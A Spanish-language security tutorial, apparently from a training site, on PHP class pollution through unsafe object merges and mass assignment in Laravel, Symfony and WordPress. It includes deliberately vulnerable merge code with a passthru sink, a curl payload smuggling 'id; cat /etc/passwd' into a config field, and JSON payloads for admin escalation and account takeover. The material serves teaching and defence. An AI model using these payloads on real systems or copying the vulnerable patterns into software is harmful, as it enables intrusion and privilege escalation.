← Volver al buscador
Seguridad web Avanzado

PHP class pollution — el equivalente PHP de Prototype Pollution

Cómo PHP class pollution (vía recursive merge / object instantiation con user input) genera deserialization-like RCE en apps Laravel, Symfony, WordPress sin necesidad de gadget chains.

Respuesta rápida

PHP no tiene prototype global como JavaScript, pero sí tiene class pollution: si una app hace foreach para mergear input del usuario en un objeto existente (o array_merge_recursive con configs), atacante puede sobrescribir atributos de instancias y disparar gadgets internos (RCE via exec-attributes, auth bypass via role flip, SQLi via SQL builders). No se pueden override métodos (PHP no soporta dynamic method dispatch), pero atributos que fluyen a sinks peligrosos son suficiente.


Por qué PHP es distinto de JS/Python

AspectoJS prototype pollutionPython class pollutionPHP class pollution
Base class universalObject.prototypeobjectNo (stdClass no es base)
Pollution global single-shotSíSíNo — solo objeto-por-objeto
Override métodosSíSíNo — solo atributos
Escapar contextoSíSíNo
Pollute atributosSíSíSí
Pollute array keysN/ASíSí

La limitación clave: no hay base class universal. La pollution afecta solo a la instancia/clase concreta. Pero si la app tiene un objeto de configuración global (Service Container en Laravel, ContainerBuilder en Symfony, $wp_config en WP), la pollution de ese único objeto basta.


El patrón vulnerable canónico

function merge($baseObject, $userInput) {
    foreach ($userInput as $key => $value) {
        $baseObject->$key = $value;
    }
    return $baseObject;
}

$config = new AppConfig();
$userJson = json_decode(file_get_contents('php://input'));
$mergedConfig = merge($config, $userJson);
$mergedConfig->doSomething();

$userJson es controlado por el atacante. El foreach asigna cualquier propiedad. PHP no diferencia entre crear nuevo atributo y sobrescribir existente vía $obj->$dynamic_key.

Gadget: comando en atributo

class AppConfig {
    public $healthCheckCommands = ['ping -c 1 127.0.0.1'];
    public $username = 'guest';

    function healthCheck() {
        foreach ($this->healthCheckCommands as $cmd) {
            passthru($cmd);  // ← sink
        }
    }

    function isAdmin() {
        return $this->username === 'admin';
    }
}

Exploit:

curl -X POST http://target/api/config \
  -H 'Content-Type: application/json' \
  -d '{"healthCheckCommands":["id; cat /etc/passwd"],"username":"admin"}'

Resultado: RCE (vía override de healthCheckCommands) + auth bypass (username ahora es admin). En una sola request.


Variantes de merge vulnerables

Built-in array_merge con casting

function merge($base, $input) {
    return (object) array_merge((array) $base, (array) $input);
}

Problema añadido: convierte a stdClass y los métodos originales se pierden. Útil para auth bypass (sobrescribir atributos), no para RCE via método.

Foreach manual (el más explotable)

function merge($base, $input) {
    foreach ($input as $k => $v) $base->$k = $v;
    return $base;
}

Preserva la clase y métodos → cualquier método interno que use atributos polluted dispara el gadget.

Clone + foreach

function merge($base, $input) {
    $obj = clone $base;
    foreach ($input as $k => $v) $obj->$k = $v;
    return $obj;
}

Mismo impacto, solo cambia que no muta el original.

array_merge_recursive en arrays

$config = ['db' => ['host' => 'localhost', 'pass' => 'secret']];
$user = json_decode($input, true);  // ← associative array
$merged = array_merge_recursive($config, $user);

Atacante envía {"db":{"host":"attacker.com","pass":"override"}} → el merge recursivo profundo sobrescribe. Patrón común en endpoints que aceptan settings JSON.


Frameworks reales — dónde buscar

Laravel — mass assignment

// Eloquent Model
$user->fill($request->all());
$user->save();

Si el modelo no tiene $fillable definido o tiene $guarded = [], cualquier columna se asigna desde el request. Atacante envía:

{"email":"victim@target.com","password":"pwned","is_admin":true,"email_verified_at":"2020-01-01"}

Resultado: ATO + role escalation. Bug class clásico de Laravel; bounty $2000-5000 en programs grandes con eloquent mass assignment.

Laravel — Service Container

app()->instance('mailer.config', $userControlledConfig);

Si el atacante puede llamar app()->instance(...) (rare, requiere endpoint que delegue) o si hay merge de config:

config()->set($key, $value);  // $key/$value desde request

Con config()->set('app.cipher', 'attacker_string') puede romper cifrado de sesiones o forzar cifrados débiles.

Symfony — ContainerBuilder

$container->set('cache.adapter.redis', $userInput);

Reemplaza un servicio del container. Si después algún componente lo usa, atacante intercepta.

WordPress — wp_parse_args

$defaults = ['post_type' => 'post', 'numberposts' => 5];
$args = wp_parse_args($_GET, $defaults);
WP_Query($args);

wp_parse_args es el "merge" oficial de WP. Atacante envía ?post_type=any&meta_query[0][key]=...&meta_query[0][value]=... y construye queries arbitrarias. SQLi vía pollution de args.

Sigue leyendo el chain completo

La parte que falta incluye el PoC paso a paso, código de explotación y la cadena completa que llevó al impacto. Disponible para suscriptores.

Crear cuentaSuscribirmeVer labs relacionados

Practica esto en un lab

Prototype Pollution Explotacion

Resolver

Sigue aprendiendo · cuenta gratis

Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.

Crear cuenta

Artículos relacionados

Gratis

LFI — Local File Inclusion: payloads, filters bypass, log poisoning y RCE

Path traversal, null-byte injection, double encoding, PHP wrappers (filter, data, expect, phar), log poisoning y escalación de LFI a RCE en stacks PHP/Java/Node.

12 minlfipath-traversalrce
Leer artículo
Premium

Headless browsers — SSRF y RCE en endpoints que renderizan URLs

Endpoints que aceptan URLs para screenshots/PDF (Puppeteer, Playwright, wkhtmltopdf) son SSRF goldmine: cloud metadata, file://, gopher://, JS injection con XSS-to-RCE en chromium sandbox.

14 minheadless-browserssrfpuppeteer
Leer artículo
Gratis

File Upload — bypasses de extension, content-type y magic bytes

10 bypasses para subir webshells: doble extensión, null byte, content-type spoof, magic bytes, polyglots, race conditions y abuso de path traversal.

13 minfile-uploadrcewebshell
Leer artículo
Nivel avanzadoToda la Academy

Contenido educativo de Kerb3r0ps. Úsalo solo sobre sistemas para los que tengas permiso. Volver al buscador.